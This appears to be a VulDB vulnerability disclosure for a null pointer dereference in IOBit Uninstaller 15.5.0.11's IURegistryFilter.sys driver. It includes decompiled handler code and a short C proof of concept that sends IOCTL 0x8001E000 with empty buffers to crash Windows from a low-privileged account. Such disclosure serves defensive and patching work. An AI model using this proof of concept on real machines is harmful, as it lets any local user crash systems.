| 标题 | IOBit IOBit Uninstaller 15.5.0.11 NULL Pointer Dereference |
|---|
| 描述 | 1. VULNERABILITY COMPONENT
Vendor Name: IOBit
Product Name: IOBit Uninstaller
Affected Version(s):x.x.x.x
Affected Component/File: IURegistryFilter.sys
Affected Routine/Function: sub_11838(IOCTL dispatch handler )
2. VULNERABILITY DETAILS
Vulnerability Type: Null Pointer Dereference
CWE ID: CWE-476
Attack Vector: Local (Requires local execution privileges to open a
handle to the device symbolic link)
Required Privileges: User (Low-privileged user/Everyone group)
3. DESCRIPTION
A vulnerability was discovered in IOBit Unsinstaller versions
15.5.0.11. The kernel-mode driver IURegistryFilter.sys does not
properly validate the input buffer pointer or size when processing
IOCTL code 0x8001E000, 0x8001E00C, 0x8001E004, 0x8001E010 via a
DeviceIoControl request.
sub_11838:
...
if ( LowPart == 0x8001E000 )
{
byte_172C0 = *(_DWORD *)&SystemBuffer->Type == 1;
goto LABEL_60;
}
...
Passing a NULL InputBuffer or an InputBufferLength of 0 causes the
driver to dereference a NULL pointer (*(_DWORD *)&SystemBuffer->Type)
within the kernel context. This unhandled page fault immediately
triggers a kernel-mode exception, resulting in a local Denial of
Service (System Crash / BSOD / Bug Check).
4. PROOF OF CONCEPT (PoC)
Example: The flaw can be reproduced by opening a handle to the device
object and sending the control code with empty parameters:
HANDLE hDevice = CreateFileW(L"\\\\.\\IURegistryFilter", GENERIC_READ,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x8001E000, NULL, 0, NULL, 0,
&bytesReturned, NULL);
}
5. CREDIT
Discoverer/Researcher: Jacky([email protected]) |
|---|
| 用户 | Bigcat (UID 99687) |
|---|
| 提交 | 2026-07-13 14時16分 (2 月前) |
|---|
| 管理 | 2026-09-12 09時34分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 403064 [IOBit Uninstaller 15.5.0.11 IOCTL Dispatch IURegistryFilter.sys sub_11838 拒绝服务] |
|---|
| 积分 | 17 |
|---|